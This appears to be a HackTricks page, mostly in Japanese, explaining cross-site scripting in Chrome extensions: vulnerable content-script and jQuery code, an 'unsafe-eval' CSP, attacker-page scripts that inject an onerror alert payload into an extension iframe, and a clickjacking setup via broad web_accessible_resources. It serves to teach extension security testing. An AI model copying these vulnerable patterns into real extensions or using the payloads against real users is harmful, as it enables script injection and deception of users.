BrowExt - XSS Example

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricks をサポートする他の方法:

Cross-Site Scripting (XSS) through Iframe

このセットアップでは、コンテンツスクリプトが実装され、クエリパラメータを含むURLをIf​​rameのソースとして取り込んだIframeがインスタンス化されます:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

以下は、ファイル**message.html**にアクセス可能なHTMLページで、URLのパラメータに基づいて動的にコンテンツをドキュメントボディに追加するように設計されています:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

悪意のあるスクリプトが敵対者のページで実行され、Iframeのソースのcontentパラメータが変更され、XSSペイロードが導入されます。これは、有害なスクリプトを含むようにIframeのソースを更新することで達成されます:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

過度に許可されたContent Security Policyは次のようなものです:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

以下は、JavaScriptの実行を許可し、システムをXSS攻撃に対して脆弱にすることができます。

XSSを引き起こす別のアプローチは、Iframe要素を作成し、そのソースをcontentパラメータとして有害なスクリプトを含めることです:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-based XSS + ClickJacking

この例は、元の投稿の解説から取得されました。

問題の核となるのは、**/html/bookmarks.htmlにあるDOMベースのクロスサイトスクリプティング(XSS)脆弱性です。問題のJavaScriptは、bookmarks.js**の一部で以下に詳細が記載されています。

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

このコードスニペットは、txtName 入力フィールドから value を取得し、HTML を生成するために文字列連結を使用し、それをjQueryの .append() 関数を使ってDOMに追加します。

通常、Chrome 拡張機能のコンテンツセキュリティポリシー(CSP)はこのような脆弱性を防ぎます。ただし、'unsafe-eval' でのCSP緩和とjQueryのDOM操作メソッドの使用(これはDOM挿入時にスクリプトを eval() に渡すために globalEval() を使用)により、依然として攻撃が可能です。

この脆弱性は重要ですが、その悪用は通常、ユーザーの操作に依存します:ページを訪れ、XSS ペイロードを入力し、「追加」ボタンをアクティブ化する必要があります。

この脆弱性を強化するために、二次的な clickjacking 脆弱性が悪用されます。Chrome 拡張機能のマニフェストには、広範な web_accessible_resources ポリシーが示されています:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Notably, the /html/bookmarks.html page is prone to framing, thus vulnerable to clickjacking. This vulnerability is leveraged to frame the page within an attacker’s site, overlaying it with DOM elements to redesign the interface deceptively. This manipulation leads victims to interact with the underlying extension unintentionally.

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated